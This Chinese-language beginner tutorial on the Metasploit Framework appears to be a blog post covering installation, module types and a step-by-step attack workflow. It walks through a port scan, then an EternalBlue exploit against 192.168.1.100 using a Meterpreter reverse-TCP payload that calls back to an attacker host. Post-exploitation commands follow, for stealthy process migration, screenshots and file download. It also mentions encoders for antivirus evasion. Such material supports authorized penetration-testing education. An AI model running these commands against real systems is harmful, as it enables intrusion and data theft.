Metasploit 新手指南:从入门到实践的终极教程

95 阅读6分钟

Metasploit Framework 是全球最受欢迎的渗透测试框架之一,被安全专业人士和道德黑客广泛用于发现、验证和利用漏洞。本教程将带你从基础开始,逐步了解Metasploit的核心概念和实际操作。

声明:本教程仅用于教育和授权测试目的。任何未经授权的系统攻击都是非法的。请在法律允许的范围内使用所学知识。

目录

  1. 什么是Metasploit?
  2. 安装Metasploit
  3. Metasploit核心概念
    • Msfconsole:主要的命令行界面
    • 模块(Modules):漏洞利用、辅助、载荷等
    • 漏洞利用模块(Exploits)
    • 攻击载荷(Payloads)
    • 辅助模块(Auxiliary)
    • 编码器(Encoders)
    • 空指令(Nops)
    • 后渗透模块(Post)
  4. Metasploit基本工作流程
    • 启动Metasploit
    • 信息收集
    • 查找漏洞利用模块
    • 配置并执行漏洞利用
    • 后渗透操作
  5. 常用命令实例
  6. 进阶学习与资源

1. 什么是Metasploit?

Metasploit项目最初由H. D. Moore于2003年创建,旨在提供一个公开的、可用的漏洞利用开发平台。如今,它已发展成为一个强大的框架,包含了大量的漏洞利用代码、攻击载荷和辅助工具。

主要特点:

  • 开源: 核心框架是开源的,社区贡献活跃。
  • 模块化: 易于扩展和定制。
  • 广泛的漏洞库: 包含针对各种操作系统、应用程序和平台的已知漏洞。
  • 自动化: 可以自动化许多渗透测试任务。

Metasploit官网:www.metasploit.com/


2. 安装Metasploit

Metasploit可以安装在多种操作系统上,包括Linux、Windows和macOS。

  • Kali Linux: 对于渗透测试人员来说,最简单的方式是使用Kali Linux,它预装了Metasploit Framework。如果你还没有Kali,可以从 Kali Linux官网下载
  • 其他系统: Rapid7的Metasploit下载页面:www.rapid7.com/products/me…

安装完成后,你可能需要初始化数据库(通常是PostgreSQL),以便存储工作区数据、主机信息、漏洞数据等。在终端中运行以下命令:

sudo msfdb init

3. Metasploit核心概念

理解Metasploit的模块化结构至关重要。

  • Msfconsole: 这是Metasploit最主要的交互界面。你可以在终端输入 msfconsole 来启动它。它提供了一个强大的命令行环境,用于访问框架的所有功能。

  • 模块(Modules): Metasploit的功能是通过各种模块来实现的。模块是可重用的代码片段。

    • 漏洞利用模块(Exploits): 这些模块利用目标系统上的安全漏洞。例如,一个缓冲区溢出漏洞或一个Web应用程序的SQL注入漏洞。

      • 示例: 针对MS17-010 (EternalBlue) 漏洞的利用模块。
    • 攻击载荷(Payloads): 在成功利用漏洞后,载荷是在目标系统上执行的代码。它可以是:

      • Meterpreter: 一个高级的、多功能的载荷,提供交互式Shell、文件系统操作、进程迁移、屏幕截图等功能。
      • Shell-based: 提供一个标准的命令行Shell(例如,Windows的cmd.exe或Linux的/bin/sh)。
      • Staged vs. Stageless: Staged载荷分阶段发送,先发送一个小型的stager,然后下载完整载荷;Stageless载荷一次性发送所有代码。
    • 辅助模块(Auxiliary): 这些模块用于执行扫描、嗅探、模糊测试、拒绝服务攻击、信息收集等任务,这些任务不直接导致系统被攻破。

      • 示例: 端口扫描器、SMB版本探测器、FTP登录测试器。
    • 编码器(Encoders): 用于对载荷进行编码,以绕过防病毒软件(AV)或入侵检测系统(IDS/IPS)的检测。虽然不能保证完全免杀,但可以增加成功率。

    • 空指令(Nops): No Operation(无操作)指令。在某些漏洞利用场景中,用于填充缓冲区,确保载荷的稳定执行。

    • 后渗透模块(Post): 在成功获取目标系统访问权限后使用,用于进一步收集信息、权限提升、持久化访问等。

      • 示例: 获取系统密码哈希、记录键盘输入、查找敏感文件。

4. Metasploit基本工作流程

典型的渗透测试流程,使用Metasploit可以概括为以下步骤:

  1. 启动Metasploit: 打开终端,输入 msfconsole

    msf6 >
    
  2. 信息收集(Reconnaissance): 在攻击之前,你需要尽可能多地了解目标。可以使用辅助模块进行扫描。 例如,使用Nmap(可以通过Metasploit的 db_nmap 命令集成,或者单独使用)扫描目标开放的端口和服务。

    假设我们知道目标IP是 192.168.1.100。我们可以使用Metasploit内置的端口扫描器:

    msf6 > use auxiliary/scanner/portscan/tcp
    msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.1.100
    msf6 auxiliary(scanner/portscan/tcp) > set PORTS 1-1000
    msf6 auxiliary(scanner/portscan/tcp) > run
    

    RHOSTS 是远程主机(目标)的IP地址。

  3. 查找漏洞利用模块(Vulnerability Identification & Exploitation): 根据收集到的信息(例如,开放的端口、运行的服务及其版本),查找可能存在的漏洞和相应的Metasploit模块。 使用 search 命令:

    msf6 > search type:exploit platform:windows smb
    

    这将搜索针对Windows平台SMB服务的漏洞利用模块。 假设我们找到了一个名为 exploit/windows/smb/ms17_010_eternalblue 的模块。

  4. 配置并执行漏洞利用:

    • 选择模块:
      msf6 > use exploit/windows/smb/ms17_010_eternalblue
      
    • 查看选项:
      msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
      
      这将列出该模块需要配置的参数,例如 RHOSTS (目标IP), LHOST (本地监听IP,用于反向连接的载荷), LPORT (本地监听端口)。
    • 设置参数:
      msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.100
      
    • 选择并配置载荷:
      msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads
      
      选择一个合适的载荷,例如Meterpreter反向TCP连接:
      msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
      
      设置 LHOST (你的IP地址,目标系统将连接回这个IP):
      msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.50  # 假设这是你的Kali机器IP
      msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444
      
    • 执行攻击:
      msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
      
      或者使用 run 命令。如果漏洞利用成功,你将获得一个Meterpreter会话。
  5. 后渗透操作(Post-Exploitation): 一旦获得Meterpreter会话,你就可以执行各种后渗透操作。

    meterpreter > sysinfo         # 获取系统信息
    meterpreter > getuid          # 获取当前用户
    meterpreter > ps              # 列出进程
    meterpreter > migrate <PID>   # 迁移到另一个进程以保持隐蔽
    meterpreter > screenshot      # 截屏
    meterpreter > download /path/to/remote/file /local/path  # 下载文件
    meterpreter > upload /local/path /path/to/remote/destination # 上传文件
    meterpreter > shell           # 获取一个标准的命令行Shell
    meterpreter > help            # 查看所有可用命令
    

    你可以使用 background 命令将当前Meterpreter会话放到后台,然后使用 sessions -l 查看活动会话,sessions -i <ID> 重新连接到会话。


5. 常用命令实例

  • help:显示全局帮助或特定模块的帮助。
  • search <keyword>:搜索模块。
    • search cve:2017 type:exploit platform:windows
  • use <module_name>:选择一个模块。
  • show options:显示当前模块的配置选项。
  • set <option_name> <value>:设置选项值。
  • setg <option_name> <value>:全局设置选项值,对所有模块生效。
  • show payloads:显示与当前漏洞利用模块兼容的载荷。
  • exploitrun:执行当前模块。
  • back:返回上一级菜单。
  • sessions:管理活动的会话。
    • sessions -l:列出活动会话。
    • sessions -i <session_id>:与指定会话交互。
    • sessions -k <session_id>:终止指定会话。
  • db_nmap <nmap_options> <target>:运行Nmap并将结果存入数据库。
  • workspace:管理工作区,用于组织不同项目的扫描结果和会话。
  • exitquit:退出msfconsole。